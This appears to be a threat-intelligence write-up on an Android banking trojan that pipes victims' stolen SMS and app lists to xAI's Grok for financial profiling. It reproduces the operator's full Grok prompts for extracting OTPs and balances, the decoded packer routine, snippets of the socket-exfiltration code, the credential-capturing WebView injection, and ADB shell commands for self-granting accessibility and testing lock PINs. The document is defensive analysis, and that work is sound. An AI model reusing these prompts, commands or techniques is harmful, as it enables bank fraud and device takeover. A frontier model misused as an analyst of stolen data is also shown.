Groklem: an Android banker that rents Grok to read your texts

GROKLEM, the rent-an-AI banker: a parody movie one-sheet. An eye with a dollar-sign pupil reads SMS bubbles (OTPs, balances, PIN resets) rising from a smartphone, over the tagline “She reads every message. She already knows your balance.” Billing block: starring Grok-4.20-non-reasoning as the oracle, a stolen SMS inbox, the device’s own ADB daemon and a silent accessibility grant; rated M for malware.

A bank OTP lands on a phone somewhere in South Asia. Before the owner has even glanced at it, a background service has copied the message, scraped the last ten days of their texts to go with it, and shipped the bundle off with one instruction: find the money. Seconds later an answer comes back, not to the victim, but to a stranger on the other end of a socket: a tidy JSON summary of the victim’s bank accounts, their latest balance, and a guess at what’s in there right now. OTPs, card alerts, PIN resets, all sorted and labelled. The thief never read a single text himself.

He didn’t have to. He rented someone smarter. The service reading those messages is xAI’s Grok and the malware is just the courier that feeds it.

For lack of a better word, I named it Groklem. The theft is the boring part: Android banking trojans have been siphoning SMS over the same raw-TCP plumbing for a decade. What is new is that this one doesn’t bother to understand what it steals. Working out which bank a victim uses, which message is a balance and which is spam, how much money is in the account, that is the hard, fiddly work that used to take a human analyst or a brittle pile of hand-written rules. Groklem skips it. It hands your texts to a frontier model and lets the model do the thinking.

There is a catch for the operator, and it is the most interesting thing in the whole sample: the Grok key is not in the malware. None of the six payloads we unpacked carries one. The code is built so each operator supplies their own xAI key at runtime, pushed in over the C2 command channel, and the malware then attaches that key as the Authorization: Bearer token on its calls to Grok. That is a claim about what the code does, traced statically through the binary, not something we watched happen: we did not run the sample and every build we have ships unprovisioned with the feature switched off until a key arrives, so no key ever crossed the wire for us to capture. But the path is unambiguous in the bytecode (the next sections walk it end to end), and the design has a consequence the operator cannot avoid: the one credential that turns the feature on authenticates their own paid xAI account, so if they ever provision it, it is also a receipt with their name on it. And the sample is not a one-off. Six builds, two different packers, six different C2 servers, six different lures, all beaconing home to the same Telegram chat. One operator, running a production line.

The rest of this writeup follows that production line end to end: the anti-analysis packer, the raw-TCP command channel, the full command set, the Grok pipeline from stolen text to financial dossier, and the thread that ties all six builds back to one person.

The name

We gave this family the name, Groklem, a portmanteau of Grok and golem. A golem is a mindless body animated by an external word; here the animating word is a rented Grok key. The malware has no intelligence of its own: it is a courier-body that scoops up a victim’s SMS, hands them to a frontier model, and acts on whatever verdict comes back. The thinking is rented, the code just carries the messages and does what it is told, so that is what we call it.

(The binary’s own debug log tag is Main_Socket, misspelled MianSocket once in the Telegram beacon; we keep both only as hunt strings in the indicators, not as the family name.)

Sample

Dropper SHA-256 0b0367d67d16658ad6dd850b3df3848f0e95c2d87bfa75f8a1ac9e55c7af2b5f
Dropper MD5 c3ba064323d1662893550ba9b67bfb1f
Payload dex SHA-256 0bf9340d048a941a709d2546a5883d50588e985cf2767fbf1d9aea75e354b655
First seen 2026-11-05
Outer package com.sov.gxwmrppjo.wvnrts.xflal (loader)
Inner package com.cdcp.wjqdfnw (payload, obfuscated to z9q4n3k8x1m7)
Internal log tag Main_Socket (MianSocket once in the Telegram beacon); detection string only
Signing cert a40da80a59d170caa950cf15c18c454d47a39b26989d8b640ecd745ba71bf5dc

That certificate is the stock Android debug certificate (CN=Android, Mountain View). It signs huge numbers of unrelated apps and is not a family anchor; do not pivot on it.

Stage 0: the packer (and its anti-analysis)

The APK ships a thin Application subclass and one 1.9 MB encrypted asset. The loader class cYqRgQJmQpdmWf7rSZtNNxtZcc0PL is hardened against decompilers: jadx fails to produce either Java or smali for its methods (DecodeException: newPosition < 0 on decompile, Invalid element width: 5 on disassembly), from crafted dex corruptions that break tooling without affecting the runtime. The AndroidManifest.xml is also inflated into a zip-bomb shape (168 KB compressed, 54 MB uncompressed), which is why static manifest parsers return nothing for these samples.

jadx cannot decompile the loader: an obfuscated Application subclass with a 33-entry string table and a hard decode failure on every method

Read from raw dex, attachBaseContext is simple:

in = DataInputStream(getAssets().open("pPogPmRHrE"))
in.skipBytes(24); n = in.readInt()
for i in 0..n:
    len = in.readInt(); buf = new byte[len]
    for j in 0..len:
        buf[j] = (byte)(((in.readByte() ^ 0xD1) - 178) ^ 0x4E)   # per-byte transform
    GZIPInputStream(buf) -> getDir("p_dex")/payload_<i>.dex
ihdozmtf(ctx, <joined paths>, dir)   # reflection class-loader -> real Application

Reimplemented, that recovers one payload dex, byte-identical to the analysed code: SHA-256 0bf9340d048a941a709d2546a5883d50588e985cf2767fbf1d9aea75e354b655 (3,658,408 bytes, magic dex\n039). Everything below is that inner dex.

Where the signals point: India and Bangladesh

The hardcoded artifacts lean toward two countries. This is where the baked-in signals point, not a confirmed victim set: because bank identification is delegated to Grok (below), the malware itself is not geographically constrained, so treat the following as indicators of intent rather than proof of who was hit.

India. The lure is eChallan, the Indian government’s traffic-fine service, carrying its real URL https://echallan.parivahan.nic.in/challan (appname / web_site_link in z9q4n3k8x1m7.pp0, in the config figure below). And the accessibility engine com.cdcp.wjqdfnw.PZjnhgSFxw.r0 carries a hardcoded hook for com.phonepe.app, India’s dominant UPI payment app: event.getPackageName().equals("com.phonepe.app"), present in five of the six builds.

Bangladesh. The Grok SMS prompt ships with a worked example built around "service": "bKash", Bangladesh’s dominant mobile wallet, and "currency": "BDT or other", the Bangladeshi Taka. That is not incidental: you do not pick bKash and BDT as your default example unless Bangladesh is a target, and the rule sitting right next to it, "Currency must be auto-detected. Do NOT hardcode only BDT.", is the operator telling the model to look past the BDT default they started from.

Two more details fit the same picture across all six builds: a government-themed companion-app package name com.mentorship.national.govt (the separate installer the RAT delegates to, covered later), and a SIM-info collector (z9q4n3k8x1m7.b61.a) that reports the device’s countryIso / mcc / mnc / carrier back to the operator.

One thing is deliberately left open: the bank list. The app-analysis prompt tells Grok "Do NOT rely on any predefined list" and to use its own knowledge of apps (both prompts are shown in full in the Grok section below). No sample contains a hardcoded bank list; PhonePe is the only hardcoded financial app. So the baked-in signals lean toward India and Bangladesh (the lures, the PhonePe hook, the bKash/BDT default), but handing bank identification to Grok means the same build will read a victim’s banking SMS from any institution it finds, in any market. The social-engineering lure brand varies between builds (eChallan, an adult-content page, or none, see the campaign table); the India and Bangladesh lean in the hardcoded artifacts is the consistent thread, which is a statement about the operator’s apparent intent, not a measurement of where victims actually are.

The configuration block

All runtime config lives in z9q4n3k8x1m7.pp0 as flat static fields. (A note on names: every obfuscated class name in this writeup, z9q4n3k8x1m7.pp0, z9q4n3k8x1m7.cc, z9q4n3k8x1m7.w01 and the rest, is specific to one sample, the payload of dropper 0b0367d6 unless stated otherwise. The obfuscator regenerates both the package and the class letters on every build, so the same cc is a different class in a different payload, and these names are not cross-build anchors. They are kept fully qualified only so each reference is unambiguous within this sample; to pivot across builds, use the strings, prompts and other markers in the indicators section, not the class letters. com.cdcp.wjqdfnw is the outer app package.)

The z9q4n3k8x1m7.pp0 config class: appname eChallan, echallan.parivahan.nic.in lure, mainip 192.238.176.169, and the full multi-port layout

Field Value Meaning
mainip 192.238.176.169 C2 host (runtime-settable via set_new_ip)
mainport 9999 command channel (the socket in fig03)
hvnc_port 8888 HVNC channel (separate socket)
scren_redrport / sc_cast_serverPort 5058 / 5055 screen redirect / cast (separate sockets)
camSERVER_PORT / micserverPort 5150 / 5000 camera / mic (separate sockets)
folder_SERVER_PORT 5059 file manager (separate socket)
appname / web_site_link eChallan / echallan.parivahan.nic.in/challan lure (this build)
target_dropper_pkgname com.mentorship.national.govt a separate installer app the RAT commands by broadcast (not bundled or dropped by this sample)
getLastDaysSms_for_AI 10 days of SMS sent to Grok
is_ai_is_run false AI gate; off until the operator provisions a key (xAI_API), which flips it on

Only port 9999 is the command channel. The other ports are not part of one connection; each is opened as its own socket to the same mainip when that feature runs (HVNC in z9q4n3k8x1m7.kd0, screen/cam/mic/files in their own classes). There is no HTTP C2.

C2: the command channel to mainip:9999

mainip reaches a real socket, built in z9q4n3k8x1m7.cc.c (the method in the figure):

z9q4n3k8x1m7.cc.c builds a socket and connects to z9q4n3k8x1m7.pp0.z() (the mainip getter) on serverPort, then exposes its OutputStream as ccVar.Output

// z9q4n3k8x1m7.cc.c, decompiled (payload z9q4n3k8x1m7.cc.java:190-203). The // comments are annotations, not in the binary.
Socket socket = new Socket();
...
Object obj = z9q4n3k8x1m7.pp0.z().get();                                  // z9q4n3k8x1m7.pp0.z() = the mainip getter
socket.connect(new InetSocketAddress((String) obj,
               ccVar.serverPort), 8000);                     // serverPort = z9q4n3k8x1m7.pp0.A() = mainport = 9999; 8000 = connect timeout in ms
ccVar.Output = socket.getOutputStream();                     // the command-channel write handle

ccVar.serverPort is set in the z9q4n3k8x1m7.cc constructor to z9q4n3k8x1m7.pp0.A(), which returns mainport (9999), so this socket is the command channel, not one of the feature ports. Every exfil that rides the command channel, SMS, contacts, location, and the Grok results, writes to ccVar.Output.

The command dispatcher

Incoming commands are parsed in z9q4n3k8x1m7.cc.y(String), an equals chain that splits each command on : and dispatches. The method does not decompile, so the table below is built from every command string constant in its bytecode (about 170 in sample 0b0367d6), with the gesture verbs coming from the accessibility engine com.cdcp.wjqdfnw.PZjnhgSFxw. This is the complete set recovered for this build, not a selection. It is a full-featured banker, not a simple stealer:

Category Commands Purpose
AI / Grok xAI_API:<key>:<days>:<lang>, Get_AI_ANA_Data, reset_ai set operator key, SMS window and reply language; run SMS/app analysis; reset. Results tagged AI_ANALICESS_DATA||| / ai_is_done:true, cached AI_SMS_DATA.json / AI_APP_DATA.json
C2 / session set_new_ip, set_new_name, Auto_Wake_on, Auto_Wake_off, PING:/PONG, KEEP_ALIVE_WORK, start_brodcast rotate C2 host/name; keepalive; wake
SMS / calls send_msg, call_snd send SMS as the victim; call action
Recon / theft get_sim_info, All_SIM_INFO||, applist, all_add_list, req_contacts/CON_TE_CT/CONTACTS:, GRAB_PN_pkgename_li:, add_pn_pkglist, remove_pn_pkglist SIM, app list, contacts, phone numbers; per-package targeting lists
Location get_last_loc, location_set, lct_tye_snd, location_send_file_, location_fully_stop, location_Off, Loction_close last and continuous location; stop
Files req_file, sendallfilename, Folder_STR, sned_autu_data_dw, deleat_all_file enumerate/pull files; delete all
Live spying STARSC, STARMIC, Screen_Cast, screen_runrun, HVNC, send_screeen_autu_cap_data, send_screeen_autu_cap_data_dwd screen, mic, screencast, HVNC, auto screen capture (on the feature ports)
Overlay / web injection add_injet, edit_injet, remove_injet, clear_web_data, Phsing/Phsing_off/Phsing_data_get/phis_data_clear/phisdata||, send_phishing_info, phing_sh_capture_job_passwd/_pin/_ptn, phing_sh_hide_job, show_pop_dilog, main_titile/botm_title push/edit overlays; capture entered password/PIN/pattern
Keylogging keysend_run_on, keysend_run_off, send_k_ey_file1, send_k_ey_file_all, k_ey_fl_1_dl start/stop keylogger; upload key files
Lock / extortion DV_LOCK, LOCK_advance:, Clear_lock, unlock_phone, ran_som_war_scope, verify_credential/verify_credential_job, adb_set_pin/adb_set_pattern/adb_set_password, adb_clear_lock, black_screen/adb_black_sc/adb_black_hiden/adb_stop_black lock the device, set/clear the lock credential, black-screen cover
Accessibility / ADB escalation adb_pair, adb_search, adb_search_pair, adbacesss_cmd_excute, con_adb_systeam, get_adb_app_info, stop_adb_manager, disconnect_adb_pair, enable_accessibility_services/disable_accessibility_services/openAccessibilityService/acessbility_off_job, openDeveloperOptions, openBuildSettings, POWER_DIALOG self-pair local ADB; self-grant/revoke Accessibility; open settings
App / dropper / attack Target_instal_Apk_with_Dropper_Job, apk_remove, apk_protect_on/apk_protect_off, apk_con_rest, Attack_run/Attack_off/Attack_chk/Attack_costom, Blocked/UNBLOCK/Blocked_clear_app, AUTO_SYSTEAM/AUTO_SYSTEAM_DELETE_APP/AUTO_SYSTEAM_UPDATA, CLEAR_AUTO_APP/CLEAR_AUTO_APP_ALL_DATA manage/remove apps; overlay-attack targeting; delegated install
Notifications NotificationListener_run, NotificationListener_acive:, NotificationListener_off notification-capture toggle
Permission coercion get_permisson, req_location/req_contacts/req_file/req_battary/req_camera_mic/req_auto_start/req_alam/req_Notification_bar/req_Notification_Listener, request_permisson:location/:contacts/:sms_call/:camera_mic/:storage_others drive the victim through grants
Gestures (engine PZjnhgSFxw) CLICK:, LONG_CLICK:, SWIPE:, MOTION:, LAUNCH:, pres_enter, OPEN accessibility gesture injection and HVNC control

The misspellings (AI_ANALICESS_DATA, scren_redrport, adbacesss_cmd_excute, acessbility_off_job, AUTO_SYSTEAM, deleat_all_file, ran_som_war_scope, Loction_close, sned_autu_data_dw, phisdata, send_screeen_autu_cap_data) are consistent across builds and make good low-collision hunt anchors.

SMS theft over the command channel

The SMS reader z9q4n3k8x1m7.cc.o(z9q4n3k8x1m7.cc, days) queries the inbox with a date window driven by getLastDaysSms_for_AI; a coroutine (z9q4n3k8x1m7.kb) wraps the result as JSON and hands it to the sink z9q4n3k8x1m7.cc.q, which writes to the command-channel socket:

z9q4n3k8x1m7.cc.q frames the stolen SMS as “SMS:” + json and writes it to ccVar.Output, followed by an “SMS_Done” terminator

byte[] bytes  = ("SMS:" + str + "\n").getBytes(charset);   // str = SMS JSON
byte[] bytes2 = "SMS_Done\n".getBytes(charset);
synchronized (ccVar.Output) { ccVar.Output.write(bytes);  ccVar.Output.flush(); }
synchronized (ccVar.Output) { ccVar.Output.write(bytes2); ccVar.Output.flush(); }

Source (content://sms/) to sink (192.238.176.169:9999) is closed.

The Grok pipeline, end to end

The AI feature is command-driven, and the key is the operator’s. The client config is spelled out constant by constant in z9q4n3k8x1m7.cm1:

The z9q4n3k8x1m7.cm1 Grok client config: BASE_URL https://api.x.ai/v1/, path chat/completions, model grok-4.20-0309-non-reasoning, Authorization header, system/user roles and the full JSON key set

BASE_URL = "https://api.x.ai/v1/"   path = "chat/completions"
model = "grok-4.20-0309-non-reasoning"   max_tokens = 2048   temp = 0.7
Authorization: Bearer <apiKey>      roles: system / user

(The TAG = "QwNLXkV1Qx" field visible in that class is just this class’s Android logcat tag, the obfuscator’s random name for the string passed to Log.*. It is unused here and has nothing to do with Grok; the xAI API takes an Authorization header, not a tag.)

The two system prompts live in z9q4n3k8x1m7.qd1. Here they are first as jadx shows them (line-wrap on), stored in the binary with doubled \n escapes and literal " + concatenation noise:

z9q4n3k8x1m7.qd1 in jadx (line-wrap on): the full systeam_app and SMS_SUMMARY_PROMPT strings, with the raw \n escapes and " + concatenation the author stored them with

And the same prompt decoded to plain text, with the \n escapes rendered as line breaks. The only runtime insertion is z9q4n3k8x1m7.pp0.b0(), the configured reply language, shown here as <reply-language>. The SMS prompt:

Role: You are a professional SMS analyzer.

Task:
You will receive a list of SMS messages.
Analyze and extract only financial and sensitive information.

You already have knowledge of worldwide banks, crypto platforms, and financial services.
Use your own knowledge to identify them.

Extract Categories:
OTP/Verification Codes
Transaction Alerts (send/receive money)
Bank Balance Updates
Card Alerts (credit/debit card activity)
PIN/Password Reset
Salary/Income Credited
Loan/EMI Reminders
Refund Notifications
Failed/Declined Transactions
Account Creation Confirmation
New Device/Security Alerts

Rules:
- Respond in <reply-language> language. Must reply using that language as the main language.
- Currency must be auto-detected. Do NOT hardcode only BDT.
- In summary, you MUST mention the latest balance and give a short prediction of current possible balance.
- Only extract financial & sensitive SMS
- Ignore promotional/spam/marketing SMS
- Ignore delivery, social media, general SMS
- Output JSON format only
- Do not guess — only extract if clear

Output Format:
{
  "analyzed_at": "<timestamp>",
  "sms_analysis": {
    "otp_codes": [],
    "transactions": [
      {
        "from": "sender",
        "type": "credit/debit",
        "amount": "500",
        "currency": "BDT or other",
        "service": "bKash",
        "time": "timestamp"
      }
    ],
    "balance_updates": [],
    "card_alerts": [],
    "pin_password_reset": [],
    "salary_income": [],
    "loan_emi": [],
    "refunds": [],
    "failed_transactions": [],
    "account_creation": [],
    "security_alerts": []
  },
  "total_sms": 0,
  "extracted_sms": 0,
  "summary": "<short summary of findings>"
}

The companion app-analyzer prompt sorts the victim’s installed apps into Banking / Crypto / Payment / Stock-Trading, again from the model’s own knowledge rather than a built-in list:

Role: You are a professional device app analyzer.
Task: You will receive a list of installed apps (app name + package name). Analyze and categorize them.
You already have knowledge of worldwide apps. Use your own knowledge to identify which app belongs to which category. Do NOT rely on any predefined list.

Categories:
- Banking
- Crypto
- Payment
- Stock/Trading
Rules:
- Use YOUR knowledge to categorize apps
- Respond in <reply-language> language. Must reply using that language as the main language.
- In the summary, you MUST mention the app names found in Banking, Crypto, and Payment categories.
- Ignore system apps
- Output JSON format only
- If an app doesn't fit any category, skip it
- Do not guess — only categorize if you are sure

Output Format:
{
  "analyzed_at": "<timestamp>",
  "app_analysis": {
  "categories": {
    "banking": [],
    "crypto": [],
    "payment": [],
    "stock_trading": [],
  },
  "total_apps": 0,
  "categorized_apps": 0,
  "summary": "<short summary of findings>"
}

Note the SMS prompt demands a full structured dossier (otp_codes, a transactions[] array, balance_updates, card_alerts, pin_password_reset, …) and orders the model to “mention the latest balance and give a short prediction of current possible balance” from the victim’s texts.

How the key arrives, and the proof the pipeline runs

Everything above is the client config and the prompts. What makes this Groklem rather than dead scaffolding is that the key is real and the path to api.x.ai is unbroken. Two facts carry it.

First, the key is never baked into the malware. It arrives at runtime over the C2 as the command xAI_API:<key>:<days>:<language>, parsed positionally in z9q4n3k8x1m7.cc.y: the key, how many days of SMS to pull (z9q4n3k8x1m7.pp0.o()), and the reply language (z9q4n3k8x1m7.pp0.b0()). The same handler flips the is_ai_is_run gate on, so pushing the key is also what arms the feature. The key lives only in memory, is used for a single analysis, then is overwritten with the constant "fuck you" on the success path, so one pushed key buys exactly one run. That is why a scan of all six payloads finds no xai- key anywhere, only the endpoint and the model name: the builds we have ship keyless and dormant, and z9q4n3k8x1m7.w01.c returns ERROR_NOT_INITIALIZED until an operator provisions one.

z9q4n3k8x1m7.cc.y Smali in jadx: const-string “xAI_API” + String.equals compare, the z9q4n3k8x1m7.pp0.h0() is_ai_is_run gate read, and the AI_ANALICESS_DATA||| result frame

Second, the feature is built-in, not aspirational. The xAI_API handler does not just store the key; it also calls com.cdcp.wjqdfnw.PZjnhgSFxw.e(), whose only job (its sole caller is cc.y) is to launch the coroutine z9q4n3k8x1m7.ru0.j, the Grok call itself. From there the path runs straight through to the network:

xAI_API command  ->  PZjnhgSFxw.e()  ->  ru0.j (coroutine)
  ->  read SMS (cc.C), serialize, load both prompts (qd1.a / qd1.b)
  ->  w01.c  ->  xa0.d  ->  OkHttp POST https://api.x.ai/v1/chat/completions
      Authorization: Bearer <operator key>
  ->  frame AI_ANALICESS_DATA|||..., cache under /storage/emulated/0/config/AI_DATA/, burn the key

The separate Get_AI_ANA_Data command is the retrieval side: it reads that cache (z9q4n3k8x1m7.lr1.a(), which returns "No AI data files found" when empty) and writes it back over the command socket. So one path runs the analysis and the other hands the operator the result. Grok acts as the operator’s cloud-side analyst, taking raw stolen SMS and an app inventory and returning a structured, currency-aware financial summary with a balance estimate.

Routing this through a paid API is a deliberate trade. The operator takes on a per-victim running cost and a provider rate limit, and in return gets a generality a hand-written parser cannot match: the model is told to use its own knowledge of “worldwide banks, crypto platforms, and financial services”, so the same build reads a victim’s messages in a market the operator never specifically coded for. The dependency cuts both ways. The feature degrades to the ERROR_NOT_INITIALIZED no-op the moment xAI throttles or revokes the key, and that same paid account is one of two places this campaign resolves back to a person. The other is the Telegram beacon chat_id 58898125, hardcoded identically across all six builds (more on it below). The xAI key is recoverable from an xAI_API command on the wire or from the Authorization header in the device’s TLS to api.x.ai, and xAI logs it against whichever account issues these grok-4.20-0309-non-reasoning calls. Neither anchor is something we can resolve ourselves, but both are provider-resolvable: handed to the provider or to law enforcement, each maps to the account behind it.

The other two sensitive flows, as taint paths

The same source-to-sink discipline applied to the Grok key pays off on the two bulk-theft flows: it pins the exact collection API, the shape of what is taken, and where it leaves the device.

Stolen SMS, device to C2 socket.

SOURCE  ContentResolver.query("content://sms/", [address, body, date, sub_id, type],
        "date >= ?", [now - days*86400000], "date DESC")     cc.o / cc.C   (days = pp0.o() = 10)
  ->    rows -> model objects -> JSON                          (serialised upstream)
  ->    "SMS:" + json + "SMS_Done\n"  -> Output.write().flush() cc.q
SINK    the 9999 command socket (cc.Output)

The window is the last ten days by default (z9q4n3k8x1m7.pp0.o()), the projection is the full message (address, body, date, sub_id, type), and the sink is the same command channel the operator issues orders on, framed SMS: … SMS_Done. z9q4n3k8x1m7.cc.q does not decompile; its bytecode shows the two OutputStream.write calls to z9q4n3k8x1m7.cc.Output with those two literals.

WebView credentials, DOM to file.

SOURCE  DOM listeners (input/change/blur/focus/submit, click on [data-key]) read field values;
        passwords flagged by type/name (pass/mpin/pin), sensitive by user/email/otp/...   cr (injected JS)
  ->    window.Android.captureSensitiveData / capturePasswordInput / captureFormData(json)  JS bridge
  ->    @JavascriptInterface methods on z9q4n3k8x1m7.zq  ->  z9q4n3k8x1m7.cr save-handlers
SINK    appended to a file under external storage (Environment.getExternalStorageDirectory()
        + "config/injet")  ->  later pulled over the file channel (port 5059)

The injection (z9q4n3k8x1m7.cr) rebinds on every DOM mutation (a MutationObserver plus hashchange/popstate), re-scans into shadow DOM, and polls captureLoginCredentials and captureFormlessInputs on 1.5-second timers, so values are captured as they are typed, not only on submit. Everything reaches the device over the bridge object named Android (addJavascriptInterface(new z9q4n3k8x1m7.zq(...), "Android")) and is written to external storage rather than streamed live, which is itself an artifact a responder can recover from a seized device.

The second channel is a beacon, not exfil

The sample has a Telegram bot in z9q4n3k8x1m7.h0, but it does not carry stolen data. Every call is a victim online-status notification:

z9q4n3k8x1m7.h0: a Telegram client with chat_id 58898125, a literal “Bot Token” placeholder, a MianSocket-tagged log format, and a POST to api.telegram.org sendMessage gated by an off_tg flag

The callers (z9q4n3k8x1m7.cc, z9q4n3k8x1m7.ac) send strings like:

"Client : " + z9q4n3k8x1m7.pp0.i() + " ✅✅ Connection successful!"
"Client : " + z9q4n3k8x1m7.pp0.i() + " ❌ Connection failed: " + err
"Client : " + z9q4n3k8x1m7.pp0.i() + " 🔄 Connection lost, cleaned up"
"Client : " + z9q4n3k8x1m7.pp0.i() + " 🔄 Retrying connection in 15 seconds..."

z9q4n3k8x1m7.pp0.i() is the victim/client name. z9q4n3k8x1m7.h0.b POSTs {chat_id: "58898125", text, parse_mode: "Markdown"} to api.telegram.org/bot<token>/sendMessage, gated by an off_tg flag. The bot token is a build-time placeholder ("Bot Token", so the URL literally reads .../botBot Token/sendMessage); the operator fills it per build. Telegram tells the operator when a device comes online or drops; all actual theft goes over the raw-TCP command channel.

What the chat_id does and does not tell us

Because it is the one value constant across all six builds, it is worth being precise about what 58898125 is, and this lines up exactly with Telegram’s own “Bot API dialog IDs” spec. A bot API dialog ID runs from -4000000000000 to 1099511627775, and the type is encoded in the sign and magnitude: users are the positive range 1 to 0xffffffffff (1099511627775), basic groups are the real ID made negative (-1 to -999999999999), and channels/supergroups carry the -100 prefix. 58898125 is positive and far inside the user range, so by that spec it is a user dialog ID, not a group (those are negative) and not a channel (-100…). For a one-to-one chat the chat_id the bot posts to is that user’s own ID, so the beacon is messaging the operator’s personal account, not a broadcast channel. (Telegram Bot API dialog IDs; range constants mirrored in grammers-session.)

What that number does not give an outside analyst is the account behind it. Resolving a Telegram user by ID over MTProto requires that user’s access_hash, which a client only holds after it has already “encountered” the account through a shared group, a contact import, or a forwarded message; a cold ID cannot be resolved on its own (Telethon: Users, Chats and Channels). The reverse-lookup bots that claim to map an ID to a @username work only when the account was previously scraped from a public group, so a hit there is a lead to verify, not an identification. Likewise, a low numeric ID loosely suggests an older account, but Telegram publishes no such guarantee, so it is a weak signal only. The dependable path stays what it is above: the fixed chat_id, plus a recovered bot token, is what Telegram or law enforcement uses to tie the beacon to the person.

Other capabilities

WebView credential capture: it logs passwords and OTPs, and writes them to disk. Class z9q4n3k8x1m7.cr injects JavaScript (evaluateJavascript) into WebViews, bridged to native through addJavascriptInterface(..., "Android") in z9q4n3k8x1m7.zq. The injected script window.__androidCaptureCore binds input / change / blur / focus / submit on every field (shadow DOM and dynamically added nodes included, via a MutationObserver) and reads each field’s live value. It classifies what it reads:

  • Passwords and PINs: a field is a password if type == "password" or its name/id/placeholder/autocomplete contains pass, mpin, or pin. The value goes to capturePasswordInput.
  • OTPs and other sensitive fields: the keyword list is user, email, login, account, phone, mobile, number, tel, otp, passwd, credential, username. The value goes to captureSensitiveData.
  • Whole form submissions go to captureFormData, and a custom-keypad handler ([data-key]) and a returnResult (“PIN/Result Captured”) path feed the same sinks. It also polls for login forms and formless inputs every 1.5 s and scrapes localStorage / sessionStorage.

Those native methods do not just forward the data, they persist it. capturePasswordInput / captureSensitiveData / captureFormData / returnResult each prepend a label and timestamp (Password Input Captured, PIN/Result Captured, Form Data Captured) and append the record to a *_login_data.json file under external storage (FileOutputStream(g, true), append mode). So captured passwords, PINs and OTPs accumulate in a persistent on-device log, which the RAT’s file channel (folder service on tcp/5059, send_k_ey_file*) can then collect. This is a stored credential harvester, not a transient one.

Local privilege escalation via the device’s own ADB

The command set has an adb_pair / adb_search_pair / adb_set_pin cluster, and it is not talking to the C2. It pairs with the phone’s own ADB daemon to climb from an ordinary app to the ADB shell user (uid 2000). The sample bundles the Kadb Kotlin ADB client and drives Android 11+ wireless debugging against localhost.

  • Discovery. It uses NsdManager to browse for the local pairing and connect services by their standard mDNS types, _adb-tls-pairing._tcp and _adb-tls-connect._tcp. It does not assume a fixed port: the discovery helper (z9q4n3k8x1m7.ui1.f) reads the host and port straight out of the resolved service record (nsdServiceInfo.getHost() / getPort()) and accepts the service only when the host is loopback (127.0.0.1 or ::1), discarding anything that resolves to a non-loopback interface. The port it connects to is whichever one the device’s own adbd advertises for wireless debugging, not a hardcoded 5555.
  • Pairing (SPAKE2). It performs the ADB pairing handshake itself: the role labels adb pair client / adb pair server, and a key-derivation step labelled adb pairing_auth aes-128-gcm key feeding an HKDF that yields the AES-128-GCM session key.

z9q4n3k8x1m7.fx0 in jadx: the ADB pairing-auth key derivation, HKDF (with the “HKDF may only be used for 255 * HashLen bytes” guard) keyed with the label “adb pairing_auth aes-128-gcm key”, producing the AES-128-GCM session key

It still needs the six-digit pairing code from the wireless-debugging notification; the status strings (🔍 Searching pairing service..., ❌ Pairing failed:, Adb Already Connected✅, First enter the pairing code from the notification!) track that flow and report it back to the operator as adbpair||| / adberror||| messages.

Once paired, it opens a shell and runs commands with an authority an app can never hold on its own. The decompiled command strings spell out what it spends that power on:

  • settings put secure enabled_accessibility_services <its own service> and settings put secure accessibility_enabled 1: it grants itself Accessibility, silently, with no user tap. That one permission underwrites the keylogger, the overlays and full UI control.
  • pm grant <pkg> <permission>: grants itself dangerous permissions directly.
  • locksettings verify --old "<pin>", locksettings get-disabled, settings get secure lockscreen.password_type, dumpsys lock_settings | grep CredentialType:: reads and tests the lockscreen credential, which pairs with the captured PIN and the ran_som_war_scope / LOCK_advance: lock commands.
  • input keyevent KEYCODE_WAKEUP, wm size: wakes and measures the screen for the HVNC session, behind the black_on / adb_black_screen overlays.

This is the same technique class documented in RedHook (Pradeo) and RatHat (Zimperium), and by this team in the YuanKong RAT: on-device wireless-ADB self-pairing for a local shell. Groklem is a separate family that reaches the same place with a different ADB library (Kadb, not libadb-android). The escalation is to shell uid 2000, not root.

The install step is delegated, not performed here

The Target_instal_Apk_with_Dropper_Job command installs nothing inside Groklem. z9q4n3k8x1m7.pb.j builds a broadcast Intent with the custom action asfasuidsfsudewbhdbhjfsdds, sets its target package to com.mentorship.national.govt (z9q4n3k8x1m7.pp0.X()), attaches the extra cmd=install_run, and sendBroadcasts it. So com.mentorship.national.govt is a separate installer app that Groklem issues orders to over a broadcast IPC; it is not bundled in this sample, which is why there is nothing here to unpack for it. (The app the victim installs is Groklem itself, package com.cdcp.wjqdfnw.)

App control, self-defense, and the overlay attack

The apk_* and Attack_* command clusters are not one feature; they are three. Traced to their handlers, they are install, removal, anti-removal, and the overlay attack.

Install (Target_instal_Apk_with_Dropper_Job). Handled in z9q4n3k8x1m7.cc.L, which calls z9q4n3k8x1m7.pb.j, the broadcast handoff to the com.mentorship.national.govt companion installer described above. Groklem never installs anything itself; it tells the companion to.

Removal (apk_remove). The handler launches the z9q4n3k8x1m7.gb coroutine, which sets the uninstall_run flag and drives the uninstall of the package in z9q4n3k8x1m7.pp0.Z() (Uninstall_app). Its default value is com.cdcp.wjqdfnw, Groklem’s own package, so out of the box this is a self-removal / clean-up command, but the target is a mutable field, so the operator can point it at another package (for example a competing app or a security tool).

Anti-removal (apk_protect_on / apk_protect_off). These flip a single AtomicBoolean, appProtection, in the accessibility engine (PZjnhgSFxw.E0() sets it true, w0() false). It defaults to false. While it is true, the accessibility event handler watches every screen the user opens and, when it recognises either the system uninstall confirmation (it matches the node text "DELETE, Double tap and hold to DELETE.") or the accessibility-service toggle in Settings (the switch ids android:id/switch_widget / com.android.settings:id/switch_widget), it immediately fires performGlobalAction(GLOBAL_ACTION_BACK) (and HOME) to bounce the user off the page. The impact is concrete: with protection on, a victim cannot reach the uninstall dialog for the app, and cannot turn off the accessibility permission that underwrites the keylogger, overlays and ADB escalation, because every attempt is slammed shut before they can tap confirm.

The overlay attack (Attack_run / Attack_off / Attack_chk / Attack_costom). Each first calls z9q4n3k8x1m7.pk0.a(context), the SYSTEM_ALERT_WINDOW (draw-over-other-apps) permission check. Attack_run then calls PZjnhgSFxw.D0() (which launches the z9q4n3k8x1m7.cw0 coroutine) to start the overlay-injection attack, and Attack_off calls C0() (the aw0 coroutine) to stop it; Attack_chk just reports whether the overlay permission is held, and Attack_costom (a branch in cc.y that splits the command for arguments) sets a custom attack target. This is the delivery mechanism for the credential theft documented earlier: the operator-pushed overlays (add_injet / edit_injet) and the WebView injection (cr / zq) are drawn over the targeted app once Attack_run is active, so the victim types their banking password into Groklem’s window believing it is the real app.

